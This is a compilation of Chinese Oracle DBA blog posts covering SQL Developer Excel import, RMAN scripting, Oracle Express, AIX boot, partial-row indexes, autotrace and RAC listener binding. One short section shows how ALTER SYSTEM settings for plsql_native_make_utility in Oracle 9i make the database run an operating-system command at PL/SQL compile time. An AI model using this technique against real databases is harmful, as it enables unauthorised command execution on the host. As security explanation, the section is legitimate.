利用SQL DEVELOPER导入EXCEL数据到Oracle数据库中

日常工作中往往涉及到数据导入工作,平时办公中excel应用十分广泛,导入工作我们一般都是将excel内容复制到文本文件中然后利用sqlldr工具导入。较新版本的Sql Developer提供了直接excel导入到表的功能,下面我们来尝试一下:
需要导入的excel的数据如下:
辅导书

在Oracle数据库中建立实验所需要的表:

凤飞飞

其中t1为主键;
点中创建好的表右键选择导入数据,选择需要导入的excel文件(目前仅支持xls格式不支持xlsx格式):

1231

若表格中有列名,则钩上”标题?”选项:

2222

单击下一步,选择需要的列:

3333

选择完成后单击下一步,将源数据列与目标表列一一对应:

vvv

单击下一步,选择导入前验证导入参数,出现以下条目:
验证表名 SUCCESS
验证源列是否映射了目标列 SUCCESS
验证源列是否定义了数据类型 SUCCESS
验证列的大小字段 SUCCESS
针对列大小检查数据 SUCCESS
验证日期列是否具有日期格式 SUCCESS
验证是否支持这些数据类型的导入 SUCCESS
单击完成,消息窗口出现导入日志:

bbbb

注意到这一步为止仍没有commit,需要到相关窗口点下commit按钮:

nnnn

目前Sql Developer中的excel导入功能已经较为完善,在版本1.5.5之前普遍存在next按钮无反应的bug。

转载请注明源地址: www.askmac.cn

使用ALTER SYSTEM运行OS命令

这里举出一个攻击代码例子,你也许会觉得惊奇,抑或认为这是一个运行命令的好办法,是的它很“有用”。

在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然,可以利用这一点来运行OS命令:

SQL> alter system set plsql_native_make_utility=’cmd.exe /C dir >C:\oops.txt &’;

SQL> alter system set plsql_native_make_file_name=’ foo’;

SQL> alter system set plsql_native_library_dir=’bee’;

系统已更改。

create or replace PROCEDURE wcg

IS

BEGIN
NULL;

END;

/

show errors

在Oracle编译wcg过程的时候,Oracle会执行下面的代码:

cmd.exe /C dir > C:\oops.txt -& -f foo

bee/RUN_CMD__SYSTEM__0.DLL

Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。

使用Oracle RMAN脚本

为什么要使用脚本?

为什么要使用RMAN命令脚本呢? 这里有2个主要原因:

  1. 绝大多数RMAN操作都是批量的同时也是自动化的。举例来说,备份数据库是一个反反复复的操作而非每次执行都要费一番功夫写命令。
  2. 脚本提供了一致性。在临时性的抑或者说一次性的操作,譬如从备份中恢复数据库,一般都不适用自动化。但是,操作本身是相同的,无论DBA在何种环境下。

Oracle11g中有两种脚本形式

  1. 使用命令文件: 即文件系统上的一个文本文件,也叫平面文件。
  2. 使用存储的脚本,该脚本存储在Oracle恢复目录中,由RMAN命令行调用。

命令文件形式

Oracle 命令文件是一种文本解释文件类似于UNIX下的SHELL脚本和Windows中的批处理作业BAT文件。代码演示1中展示了一个非常简单的例子,用以备份USERS表空间。其中扩展名.rman是非必要的,但有助于帮您理清文件用途。

代码演示1:备份USERS表空间的脚本

connect target /

connect catalog rman/secretpass@rmancat

run {

allocate channel c1 type disk format ‘/orabak/%U’;

backup tablespace users;

}

你可以通过多种方式调用脚本,例如自RMAN提示行中:

RMAN> @backup_ts_users.rman

注意调用使用的符号@

您也可以在SHELL中调用脚本,例如:

rman @backup_ts_users.rman

这种方式十分有用,若不想使用@符号,用以下方式替代:

rman cmdfile=backup_ts_users.rman

注意CONNECT子句是放在backup_ts_users.rman命令文件中的,故再次无需提供用户名与密码,也保障了没有泄露密码的危险。

传递参数: backup_ts_users.rman命令文件运行地不错,但他太固定了。他将备份输出到某个特定目录且只备份一个表空间(USERS)。若你想要备份到另一处或其他表空间是,你需要创建新的脚本。

一个较好的策略是使用参数驱动的RMAN脚本。比起硬编码来,参数传递脚本灵活得多。代码演示2中展示了修改了的backup_ts_users .rman脚本。

代码演示2: 参数驱动脚本

connect target /

connect catalog rman/secretpass@rmancat

run {

allocate channel c1 type disk format ‘&1/%U’;

backup tablespace &2;

}

另一个SHELL脚本,名为backup_ts_generic.sh调用以上脚本,传递参数/tmp作为备份目录以及USERS为备份表空间对象。

$ORACLE_HOME/bin/rman <<EOF

@backup_ts_generic.rman “/tmp” USERS

EOF

你还可以使之更灵活,你可以将backup_ts_generic.sh第二行做以下修改:

@backup_ts_generic.rman “/tmp” $1

则您可以将参数传递给sh脚本,在以/tmp为固定备份目录的情况下。例如您要备份MYTS表空间:

backup_ts_generic.sh MYTS1

日志设置: 当你通过某种自动设置来运行RMAN脚本时,实际没有人在观察命令窗口,那我们如何找到RMAN的输出呢?这些输出日志使我们了解脚本的运行结果故之分重要,为了获取日志,我们可以使用log选项。

rman cmdfile=backup_ts_users.rman log=backup_ts_users.log

现在backup_ts_users.rman脚本的输出日志将会记录在名为backup_ts_users.log 的文件中而非出现在屏幕上。

存储脚本

虽然脚本文件可以满足大多数情况,但他们也有部分缺点。脚本文件总是存放在服务器上,这显得并不十分安全,因为只要有阅读该文件的权限就可以获取SYS等账号的密码。

解决方法就是使用RMAN的存储脚本,存储脚本保存在了Oracle恢复目录中,而非直接存放在服务器上。代码演示3展示了调用存储脚本的例子。

代码演示3

RMAN> run { execute script

backup_ts_users; }

C:\> rman

RMAN> connect target /

RMAN> connect catalog rman/secretpass@rmancat

RMAN> create script backup_ts_users

2> comment ‘Tablespace Users Backup’

3> {

4>      allocate channel c1 type disk format ‘c:\temp\%U’;

5>      backup tablespace users;

6> }

在代码演示3中存储脚本backup_ts_users仅在用户连接到目标数据库是可见。同时存储脚本也可以做到传递参数,如代码演示4

代码演示4:参数驱动的存储脚本:

RMAN> create script backup_ts_any

2> comment ‘Any Tablespace Backup’

3> {

4>      allocate channel c1 type disk format ‘c:\temp\%U’;

5>      backup tablespace &1;

Enter value for 1: users

users;

6> }

7>

调用参数驱动存储脚本时,我们需要使用USING 子句。如下例,使用存储脚本备份SYSTEM表空间:

run { execute script

backup_ts_any using ‘SYSTEM’; }

管理存储脚本:RMAN工具提供了管理存储脚本的必要方式。

可以用一下命令列出存储的脚本:

RMAN> list script names;

List of Stored Scripts in Recovery Catalog

Scripts of Target Database ARUPLAP1

Script Name

Description

————

backup_ts_any

Any Tablespace Backup

backup_ts_users

Tablespace Users Backup

以上命令会列出脚本的本地和全局名。

若只需要列出全局名,可以使用以下命令:

RMAN> list global script names;

若要显示某个脚本的具体内容,例如back_ts_any,可以使用以下命令:

RMAN> print global script

backup_ts_level1_any;

删除一个存储脚本:

RMAN> delete global script

backup_ts_level1_any;

你也可以通过一个脚本文件创建存储脚本,如以下:

RMAN> create script backup_ts_users

from file ‘backup_ts_users.rman’;

当然你也可以通过存储脚本还原出一个平面脚本文件:

RMAN> print script backup_ts_users

to file ‘backup_ts_users.rman’;

oracle express介绍

Oracle express 不是一种新型火车也不是一种新型的邮递服务。Oracle express是个多维的数据库和应用程序环境,这个应用程序环境是用来构建OLAP应用程序的。Express的组件(或者OLAP选项)是维(多维部分中的一部分)和变量。维是在Express数据库中分解出的逻辑单元。维是数据库的核心单元,它更像数据仓库表格的数维或者逻辑表达式的限制子句。product=TevaSandals,gender=male或者date_of_birth介于某个日期范围都是这样的字句示例。

变量是在Express数据库中包含数据的对象。这些变量不比用维描述的值(类似数据仓库的值,它的典型值是数字)的数组更重要。把这个数组的概念扩展一下,就可以把它看做表。把销售的变量看做维,可能就是Product ,Sales_District和Sales_dt_time。3个成为维的变量经常被称作数据立方体。

对Express数据库来说,具有多个变量,每个变量又是多维的情况并不常见(类似事件的一些维数通常是多个变量,而某些维对于变量是唯一的)。

Express数据库中的数据以这种多维方式存储,而不是典型的数据库结构,甚至以关系对象结构存储,因为这样会使用户处理回答他们业务问题的信息更快。因为业务经常需要以这种方式切片和切块数据,这就是他是OLAP数据库的原因。这种方式与那些在一般数据库中支持的方式是不同的。

Express有两个为支持无限制用户数而设计的功能。Express服务器为更大的应用程序而设计,它是个多维的数据储存器。Express服务器经常与已存在的数据仓库一起使用,或者作为一个功能全面的数据仓库的前身。根据需要,Express Server可替代数据仓库。Personal Express 是单用户的Express Server ,它由对数据做OLAP分析的个人使用,这样就不需要花费更大的代价和时间去执行一个功能全面的组织数据仓库。

还有很多这样的工具,他们作为Express服务器数据库产品的附加工具。Express Analyzer 是用来生成报告和分析Express服务器的工具。Express Objects 是支持开发Express数据库应用程序的OO工具。也可使用Express Web Publisher发布目录到Web上供别人查看。Express Spreadsheet是为Microsoft Excel和Express Sever数据库之间的接口提供的插件。

RMAN 内存利用介绍: PGA 以及SGA

在磁盘上的备份会使用PGA内存空间作为备份缓冲区,PGA内存空间从用于通道进程的内存空间中分配。如果操作系统没有配置本地异步I/O,可以利用DBWR_IO_SLAVES参数使用I/O从属来填充内存中的输出缓冲区。如果设置DBWR_IO_SLAVES参数为任意的非零值,RMAN会自动分配4个I/O从属来协调缓冲区内存中数据块加载。为了实现这一功能,RMAN必须利用一个共享内存区域。因此,用于磁盘备份的内存缓冲区会被推入共享池,如果存在Large池,则被推入large池。

如果没有使用磁带I/O从属,会在PGA中分配用于磁带输出缓冲区的内存。设置init.ora参数BACKUP_TAPE_IO_SLAVES=TURE,可以使用磁带I/O从属,必要时还可以在服务器参数文件(spfile)中动态设置该参数。BACKUP_TAPE_IO_SLAVES参数设置为TRUE时,RMAN会为每个通道创建一个从属进程来帮助备份工作。为了协调这一功能,RMAN会将内存分配推入SGA。

Oracle SGA中的Large池

Large池是Oracle内存空间的SGA中的一个特定区域。使用init.ora或SPFILE文件中的LARGE_POOL_SIZE参数可以设置large池,这个参数值被指定为一个字节数。对于某些需要共享空间且涉及共享池中常见操作的内存可以利用large池。占用large池的主要限于RMAN内存缓冲区(如果使用了I/O从属)和用于共享服务器。Large池又是用于java连接,如果PARALLEL_AUTOMATIC_TUNING (10g中不再使用)被设置为TRUE, large池还会包括并行查询从属(parallel query slave)

实际上,我们不一定需要large池。如果没有large池,所有可能占用large池的会简单地使用共享池中的空间。这不是世界末日,但是最好将RMAN缓冲区分到PGA中他们自己独立的空间中。这样以来,SQL和PL/SQL分析以及其他普通操作的共享池操作不会受到RMAN备份的影响。反之亦然,此外还可以更方便,更直接地调整RMAN的Oracle内存空间。

如果配置了任一种I/O从属选项并且没有配置large池,则会从SGA的共享池区中分配内存。如果没有配置large池却又要使用I/O从属,我们建议最好创建一个large池,这个large池的大小基于备份分配的通道总数(加上1MB用于开销)。

如果在磁带上做备份,就需要使用一个Media Management Server(介质管理服务器)产品。如果从与目标数据库相同的系统运行Media Manager(介质管理器),磁带子系统会需要额外的系统资源。调整备份时一定要考虑到这个因素。

AIX操作系统启动详细介绍

RS/6000的引导检测过程与机型有一定关系,这里介绍大多数机型共同的启动过程,可以选择不同的系统运行模式:可以从磁带或CD-ROM引导系统进入到维护模式(单用户模式);也可以从硬盘引导系统进入到维护模式(单用户模式)或正常模式(多用户模式);还可以进入到系统管理维护(System Management Services,简写SMS),在其中可以修改系统引导设备列表。

系统的启动分为硬件初始化阶段和AIX核心初始化阶段,硬件初始化阶段称为ROS IPL(Read Only Storage Initial Program Load),基于MCA(Micro Channel Architecture ,即微通道结构)的经典RS/6000和PCI的RS/6000在硬件初始化阶段存在很大的差别,进行硬件初始化时,机器前面板的LCD或LED上显示着数字代码,这些数字表示初始化系统的进度,当系统初始化出现故障时,用户可以根据这个代码来确定错误的原因。当机器硬件检测完成之后,它就会从引导设备上加载软件,正常情况下会从硬盘引导BOS,完成AIX核心初始化后,启动系统的初始化进程/etc/init,而init依据文件/etc/inittab的内容启动其他系统进程。

要关闭AIX操作系统,必须执行关机命令,关机命令会终止系统中正在执行的进程,甚至使机器自动下电。停止机器运行的命令有shutdown,halt和reboot等,一般情况下使用shutdown命令式比较安全的。

系统引导概述

系统引导过程依赖于所使用的硬件平台。最初的硬件引导阶段,MCA机器和PCI机器存在着很大的差别,这些差别使得硬件引导的方法有所不同。系统引导的模式分为Normal(正常)模式和Service(维护)模式,因而,也存在两种不同的引导设备列表,即正常模式引导列表和维护模式引导列表。由于MCA系统和PCI系统的差别,选择这两种引导模式及其列表的方法也不同。

完成硬件引导之后,就进入软件引导阶段。在软件引导阶段,MCA机器和PCI机器的操作系统引导过程完全一样。无论是硬件问题,还是软件问题都能终止系统的引导,引导问题是比较常见的问题,熟悉系统的引导过程对解决引导问题是至关重要的。

一般的引导过程

ssf

一般的引导过程,如图所示。

在机器加电启动时,首先检查机器的硬件,确定主要的硬件是否能够正常工作。对于经典的RS/6000机器(MCA结构的系统),这个阶段分为两个独立的阶段:内置设备自检(Build-In Self Test 简写BIST)和加电自检(Power-On Self 简写为POST)。对于PCI机器,由单独的加电自检(POST)完成硬件检查。

经过硬件检查阶段后,系统尝试加在引导逻辑卷(Boot Logical Volume,简称为BLV),并在内存中形成RAM文件系统,同时把控制权交给BLV。

由于在内存中没有加载任何LVM设备驱动程序,因此系统必须在不使用LVM的情况下查找正确的BLV位置。正确的BLV地址信息(包括偏移量和长度)保存在引导磁盘的第一个扇区(512字节的块)上,这个扇区称为引导记录(Boot Record)。

引导逻辑卷(BLV),也称为引导镜像,它包括下面几个部分:

l  软件ROS(Soft Ros) 软件只读存储器(Read Only Storage ,简写为ROS)只适用于PCI的机器上,在PCI的机器上,软件ROS执行一些系统初始化工作。PCI机器的ROS不提供软件ROS,而是由AIX提供软件ROS。

l  AIX内核 AIX内核总是从BLV加载。/unix(软连接到/usr/lib/boot/unix_mp或unix_up)是一份内核的副本。这个版本被用于构建hd4文件系统。在系统引导的时候,从hd4文件系统读取内核镜像。

l  Rc.boot rc.boot是一个Shell命令文件,它是配置系统的脚本。在系统引导期间,init进程要执行它三次。

l  简化的ODM 简化的ODM只提供最基本的设备配置信息。

l  引导命令 在引导过程中要执行一些命令,例如cfgmgr和bootinfo等。

当加载BLV之后,由于rootvg没有被激活,并不可用,引导所需的信息都包含在用于在内存中创建 RAM文件系统的BLV中。之后,init进程被加载运行,并由init进程开始配置基本设备,这是第一引导阶段(init 在执行rc.boot时带着一个参数1)。

下一步被称为第二引导阶段,主要目的是激活rootvg。这是最常出现问题的阶段,例如一个文件系统或jfslog被破坏。接着控制权交给rootvg中的init进程,然后释放RAM文件系统。

最后,init进程(从磁盘加载的进程,而不是BLV中的init进程)带参数3执行rc.boot脚本配置剩余的设备从/etc/inittab启动其他进程。

硬件检测过程(BIST和POST)

前面已提到,在硬件引导过程中,MAC体系结构的经典RS/6000和当今流行的PCI体系结构RS/6000存在着比较大的差异。下面介绍这些差异。

  1. 经典RS/6000的引导过程

下图是经典RS/6000的启动流程图。经典RS/6000机型(MCA结构的系统)在启动时,当系统加电启动后,就先进行到内置谁被自检(Build_In Self Test简写为BIST),这些测试位于EPROM芯片中。BIST只检测主板上一些最基本的系统组件,如处理器,内存和系统背板(System Planar)等,在这个测试阶段,在前面板的LED上根据硬件设备的状态显示100到195之间的代码。

经典RS/6000启动流程

经典RS/6000启动流程

当BIST阶段完成后,然后再进行加电自检(Power-On Self Test简写为POST)阶段。POST将检查一些其他系统设备和I/O设备。POST完成之后,就开始查找一个可以引导系统的设备(即引导逻辑卷,BLV),然后把引导程序和内核程序从引导设备调入到内存。所有需要加载阴道镜像的硬件都会被检测到,在这个阶段,LED的代码是200到2E7,硬件问题和软件问题都可能中断系统的启动。当所有硬件通过检测之后,接着就是软件系统的启动。

在MCA系统中,加载BLV时就检查引导设备列表,引导设备列表由切换钥匙的位置来确定。

  1. PCI的RS/6000的引导过程

当PCI的RS/6000引导时,与MCA的RS/6000存在很大的差别,前面已提到的差别是基于PCI的RS/6000机型,而没有BIST阶段,只有POST阶段,实际上时将BIST和POST合为一个阶段。另一个差别是PCI的RS/6000没有钥匙切换(切换启动模式的钥匙,MCA机器的前面板上这个钥匙),现代的PCI机器上用一种逻辑钥匙模式切换,即通过按某些功能键来处理这个启动模式的切换。

当PCI系统进行POST时,就检测基本的硬件设备,如处理器,内存,系统背板(System Planar)和I/O设备等。当POST结束时,如果从使用图形控制台启动系统,则在屏幕上依次显示内存,键盘,网络,SCSI适配器和扬声器等5个图标;如果从使用字符控制台启动系统,则在屏幕上依次显示Memory,keyboard,Network,SCSI和Speaker等5个文字单词,表示在POST阶段对这几个硬件部分分别进行了检测。系统检测完成后,就要加载操作系统的引导程序,寻找引导逻辑卷(BLV),即可引导的镜像程序,然后将可引导的镜像程序调入内存。当屏幕上显示”Starting Software…”字样时,表示现在正在启动软件系统,也就是启动AIX系统,到这里整个硬件的引导将完成,接着就是软件系统的启动。

基于PCI的RS/6000启动流程

基于PCI的RS/6000启动流程

早期的PCI机器,例如7020-40P和7248-43P,在引导系统硬件时没有LED显示,因此无法通过LED码来解决引导中的问题。幸运的是,现代的PCI机器已改变了这种情况,但是不同的机型在系统启动阶段产生的错误代码也不相同。因此,要精确地判断错误代码的含义只能参考随机器所带的维护指南或手册,或者通过IBM的网站查找相应机型的引导错误代码的含义。

系统的引导模式

大体上讲,AIX操作系统的启动模式有两种,分别是Normal(正常)模式和Service(维护)模式,有时候将Normal(正常)模式成为多用户模式,将Service(维护)模式成为单用户模式。

  1. 经典RS/6000系统的引导模式

经典的RS/6000(MCA系统)前面板上有一个钥匙状态,它有三个位置,3个状态分别是:

l  Normal(正常)

l  Secure(安全)

l  Service(维护)

钥匙只有处在Normal位置,才能从硬盘中引导AIX操作系统到多用户;当钥匙处于Secure时,系统不会启动,这是系统的安全状态,这样可以锁定系统,不允许任何人来启动系统;而在Service位置,这是系统的维护状态,系统会从磁带,CD-ROM和硬盘等设备,比如如果安装操作系统一定要从磁带或CD-ROM引导,则钥匙必须处于Service模式。

将钥匙处于Normal模式,从硬盘引导BOS,用户程序和系统程序能够正常地运行,而且所有可以登录的终端都被激活,所有的文件系统也可以被访问,网络正常启动并且能够通信,系统处于多用户方式下(即运行级别是2).如果要正常模式引导系统,就将MCA机器的钥匙状态扳到Normal位置,系统就寻找正常模式的而引导设备列表(Boot List),根据该列表上探测出一个可以引导的设备,即找到一个包含引导逻辑卷的设备。

当钥匙处于Service位置时,从磁带或CD-ROM引导BOS,用户程序一般不能运行,只能从系统控制台可以登录,能够执行的命令不多,网络没有启动,所以也无法通信。如果要以维护模式引导系统,就将MCA机器的钥匙状态扳倒Service位置,系统就寻找维护模式的引导设备列表,根据该列表来探测出一个包含引导逻辑卷的设备。

更改引导列表中设备的顺序,可以在AIX命令行下用bootlist命令修改,也可以在diag菜单中修改。

  1. PCI的RS/6000系统的引导模式

基于PCI的RS/6000没有钥匙状态,只有两种引导模式,分别是Normal(正常)模式和Service(维护)模式。多用户模式一般从内置硬盘启动系统,单用户模式可以从磁带,CD-ROM或者硬盘启动。正常模式(多用户模式)引导AIX系统时,是哟有的用户程序和系统进程能够正常运行,而且所有激活的终端可以注册登录,所有的文件也能被访问,网络正常启动并且能够通信,系统处于多用户方式下。

以维护模式引导系统时,就会进入到系统诊断状态,用户可以查看和更改系统的设备和配置,可以进行系统的诊断及维护工作。系统管理员一般进入到这种执行系统维护和管理任务,此时的系统中只有一个root用户,因此被称为单用户模式。PCI系统的维护模式分为两种情况,一种是独立诊断模式(从磁带或CD-ROM引导到维护模式),另一种是在线诊断模式(从硬盘引导到维护模式),这两种模式在今后会提到。

部分行索引使用介绍

函数索引是Oracle索引中比较特殊的,我们这里讨论函数索引中部分行索引的使用。
部分行索引顾名思义仅就表中的一部分记录做索引,请看代码示例:

drop table test;

create table test  (t1 int, t2 char(1));
declare
i int :=0;
begin
while i<100000
loop

insert into test values( i, ‘N’);
i:=i+1;
commit;
end loop;
end;

在test表上插入大量t2为N的行,并插入少量t2为Y的行
create index ind_t2y on test( case t2 when ‘Y’ then t2 end);

SQL> select count(*) from test;

COUNT(*)
———-
100004

表上供有100004条数据

SQL> select count(*) from test where t2=’Y’;

COUNT(*)
———-
4
为t2列为’Y’的共有4条。

我们来分析该索引:

SQL> analyze index ind_t2y validate structure;

索引已分析

SQL> select lf_rows from index_stats;

LF_ROWS
———-
4

可以看到确实仅记录了4条记录。

我们尝试利用此部分行索引:

SQL> set autotrace on;
SQL> select count(*) from test where t2=’Y’;

COUNT(*)
———-
4

Execution Plan
———————————————————-
Plan hash value: 1950795681

—————————————————————————
| Id  | Operation          | Name | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————
|   0 | SELECT STATEMENT   |      |     1 |     3 |    43  (12)| 00:00:01 |
|   1 |  SORT AGGREGATE    |      |     1 |     3 |            |          |
|*  2 |   TABLE ACCESS FULL| TEST |     2 |     6 |    43  (12)| 00:00:01 |
—————————————————————————

Predicate Information (identified by operation id):
—————————————————

2 – filter(“T2″=’Y’)

Note
—–
– dynamic sampling used for this statement

Statistics
———————————————————-
0  recursive calls
0  db block gets
171  consistent gets
0  physical reads
0  redo size
515  bytes sent via SQL*Net to client
469  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
0  sorts (memory)
0  sorts (disk)
1  rows processed

没有如预期地使用索引,我们加上hint 再试试

SQL> select /*+ index(test ind_t2y) */ count(*) from test where t2=’Y’;

COUNT(*)
———-
4

Execution Plan
———————————————————-
Plan hash value: 2501600095

—————————————————————————————-
| Id  | Operation                    | Name    | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————————-
|   0 | SELECT STATEMENT             |         |     1 |     3 |     2   (0)| 00:00:01 |
|   1 |  SORT AGGREGATE              |         |     1 |     3 |            |          |
|*  2 |   TABLE ACCESS BY INDEX ROWID| TEST    |     2 |     6 |     2   (0)| 00:00:01 |
|   3 |    INDEX FULL SCAN           | IND_T2Y | 98705 |       |     1   (0)| 00:00:01 |
—————————————————————————————-

Predicate Information (identified by operation id):
—————————————————

2 – filter(“T2″=’Y’)

Note
—–
– dynamic sampling used for this statement

Statistics
———————————————————-
0  recursive calls
0  db block gets
2  consistent gets
0  physical reads
0  redo size
515  bytes sent via SQL*Net to client
469  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
0  sorts (memory)
0  sorts (disk)
1  rows processed

在使用部分行索引的情况下逻辑读大大下降了。
在不加hint的情况下优化器似乎永远无法做出正确的选择,即便修改了CBO相关的参数:

SQL> alter system set optimizer_index_cost_adj=1;

System altered.

SQL> select t2 from test where t2=’Y’;

T

Y
Y
Y
Y

Execution Plan
———————————————————-
Plan hash value: 1357081020

————————————————————————–
| Id  | Operation         | Name | Rows  | Bytes | Cost (%CPU)| Time     |
————————————————————————–
|   0 | SELECT STATEMENT  |      |     2 |     6 |    43  (12)| 00:00:01 |
|*  1 |  TABLE ACCESS FULL| TEST |     2 |     6 |    43  (12)| 00:00:01 |
————————————————————————–

仅在where 子句中指定了case when then模式时,优化器自觉地使用了该部分行索引:
SQL>  select * from test where case t2 when ‘Y’ then t2 end =’Y’;

T1 T
———- –
100001 Y
100002 Y
100003 Y
100004 Y

Execution Plan
———————————————————-
Plan hash value: 837354983

—————————————————————————————
| Id  | Operation                   | Name    | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————————
|   0 | SELECT STATEMENT            |         |     2 |    32 |     1   (0)| 00:00:01 |
|   1 |  TABLE ACCESS BY INDEX ROWID| TEST    |     2 |    32 |     1   (0)| 00:00:01 |
|*  2 |   INDEX RANGE SCAN          | IND_T2Y |     1 |       |     1   (0)| 00:00:01 |
—————————————————————————————

Predicate Information (identified by operation id):
—————————————————

2 – access(CASE  WHEN “T2″=’Y’ THEN “T2” END =’Y’)

Note
—–
– dynamic sampling used for this statement

Statistics
———————————————————-
0  recursive calls
0  db block gets
4  consistent gets
0  physical reads
0  redo size
650  bytes sent via SQL*Net to client
469  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
0  sorts (memory)
0  sorts (disk)
4  rows processed

部分行索引在特定情况下(譬如某表中仅少数特定行有大量查询更新操作)可以发挥非常巨大的作用。

autotrace在绑定变量情况下不准确的问题

通常我们在检验SQL执行计划时采用autotrace的方法,但autotrace本身存在许多不准确的情况。
以下为一个例子:
SQL> create table test(t1 int, t2 char(200));

表已创建。

SQL> create index ind_t2 on test(t2);

索引已创建。

SQL> insert into test values (0,’A’);

已创建 1 行。

SQL> commit;

提交完成。

SQL> begin
2  for i in 1..100000 loop
3  insert into test values(i,’ZZZZ’);
4  end loop;
5  commit;
6  end;
7  /
SQL> analyze table test compute statistics ;

表已分析。

SQL> analyze index ind_t2 compute statistics;

索引已分析

SQL> analyze table test compute statistics for all indexed columns;

表已分析。

以上代码 在test表中 产生一条t2为A的记录以及10万条t2为ZZZZ的语句,即列上值出现严重的倾斜。
SQL> set autotrace on;
SQL> variable a char;
SQL> exec :a:=’A’;
SQL> alter system flush shared_pool;

系统已更改。
PL/SQL 过程已成功完成。

SQL> oradebug setmypid;
已处理的语句
SQL> oradebug event 10046 trace name context forever,level 10;
已处理的语句

SQL> select * from test where t2=:a;

T1
———-
T2
————————————————————————–
0
A

执行计划
———————————————————-
Plan hash value: 1357081020

————————————————————————–
| Id  | Operation         | Name | Rows  | Bytes | Cost (%CPU)| Time     |
————————————————————————–
|   0 | SELECT STATEMENT  |      | 50001 |  9961K|   652   (2)| 00:00:08 |
|*  1 |  TABLE ACCESS FULL| TEST | 50001 |  9961K|   652   (2)| 00:00:08 |
————————————————————————–

Predicate Information (identified by operation id):
—————————————————

1 – filter(“T2″=:A)

统计信息
———————————————————-
231  recursive calls
0  db block gets
38  consistent gets
0  physical reads
0  redo size
654  bytes sent via SQL*Net to client
385  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
4  sorts (memory)
0  sorts (disk)
1  rows processed

SQL> oradebug tracefile_name;
e:\oracle\product\10.2.0\admin\orclv\udump\orclv_ora_4956.trc

使用tkprof 工具对 trace文件整理
tkprof  e:\oracle\product\10.2.0\admin\orclv\udump\orclv_ora_4956.trc C:\ora_4956.trc

可以找到以上查询的实际执行计划。
select *
from
test where t2=:a

call     count       cpu    elapsed       disk      query    current        rows
——- ——  ——– ———- ———- ———- ———-  ———-
Parse        1      0.01       0.00          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch        2      0.00       0.00          0          6          0           1
——- ——  ——– ———- ———- ———- ———-  ———-
total        4      0.01       0.01          0          6          0           1

Misses in library cache during parse: 1
Optimizer mode: ALL_ROWS
Parsing user id: SYS

Rows     Row Source Operation
——-  —————————————————
1  TABLE ACCESS BY INDEX ROWID TEST (cr=6 pr=0 pw=0 time=43 us)
1   INDEX RANGE SCAN IND_T2 (cr=5 pr=0 pw=0 time=32 us)(object id 51539)

可以看到这里实际的执行计划时 INDEX RAGNE SCAN 而非TABLE ACCESS FULL,这是由于优化器(optimizer)实际使用了绑定变量窥视的手段,而autotrace工具似乎不具备这种特性,故其展现的执行计划出现严重偏差。

一般情况下autotrace的结果仍是准确的,但也仅是一般情况,这需要我们凭借直觉去分辨。

关于RAC中监听配置IP=FIRST的说明

为RAC自动配置的监听器(listener)一般都可以看到使用了IP=FIRST选项,以使得监听在所给出主机名的相关ip端点。默认情况下不使用IP=FIRST选项,监听器总是在所有该主机的网络接口上监听(listen)。

从8i开始,监听器在绑定Ip地址的方式已经改变。一般的规则是“在指定主机上监听所有端口(listen on all interfaces if a hostname is specified)。然而这仅在大多数情况下准确,在某些特定情况监听器可能并非如此表现。

你可能需要强制监听器仅绑定到特定的IP地址(即便在指定主机名的情况下),通过在监听配置文件LISTENER.ORA中配置IP=FIRST语句。

由于监听绑定端点对于数据库实例注册到监听尤为重要,所以我们有必要了解监听器具体如何决定绑定到TCP端点(endpoint)的算法。

常规算法

你可以尝试使用以下模式解释监听器如何绑定到TCP协议地址的表现:

(1) 如果你提供一个IP 地址,则监听器始终在该IP地址上监听。

(2) 若你提供一个主机名:

(a) Oracle 对 gethostbyname()函数 输入该主机名,可能返回多个IP地址。

gethostname 库函数会查询DNS服务器,/etc/hosts配置文件,和NIS服务以及其他方式,基于系统实际配置。具体如何工作依赖于操作系统类型,但一般来说/etc/host.conf,/etc/nsswitch.conf 和/etc/resolv.conf配置文件在UNIX平台上指导过程。’

你可以同过ping工具找出相关的IP(如例:ping <hostname> 活着 ping -s <hostname> 即可以看到主机名相关的IP)。 不要使用host,nslookup 或dig 工具,以上工具仅查询DNS服务可能返回错误结果。

(b) Oracle 将使用 gethostname函数得出当地系统配置的主机名。

gethostname() 库函数将返回本地系统的标准主机名。

你也可以通过hostname命令得到该值。

(c) Oracle 对 gethostbyname() 函数输入之前一步2b中得到的主机名。

(d)  Oracle 比较 2a 中与 2c中返回的IP, 若没有匹配的IP项,则监听器绑定到2a中返回的ip地址上。

或者

(e) 若有匹配项存在,则监听器绑定至所有工作的网络接口上。

你可以通过lsnrctl命令的输出非常容易地判断监听器是如何绑定到网络接口的,如下例:

$ lsnrctl status

LSNRCTL for Linux: Version 10.2.0.1.0 – Production on 07-MAY-2007 15:29:48

Copyright

(c) 1991, 2005, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))

STATUS

of the LISTENER

————————

Alias                     LISTENER

Version                   TNSLSNR for Linux:

Version 10.2.0.1.0 – Production

Start Date                13-APR-2007 14:11:16

Uptime                    24 days 1 hr. 18

min. 32 sec

Trace Level               off

Security                  ON: Local OS Authentication

SNMP

OFF

Listener Parameter File   /opt/oracle/product/10.2.0/db_1/network/admin/listener.ora

Listener Log File         /opt/oracle/product/10.2.0/db_1/network/log/listener.log

Listening

Endpoints Summary…

(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1)))

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.10.10.10)(PORT=1527)))

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=myhost.ro.oracle.com)(PORT=1521)))

在以上情况中,监听器绑定值指定IP10.10.10.10的1527端口上同时也在所有接口的1521端口上。

由于RAC情况中对于监听器监听范围的要求,故在给出主机名的情况下配置工具netca等,总是会在配置文件中加上IP=FIRST语句保证监听器绑定到2a中返回的IP地址而非所有网络接口。

参考文档:

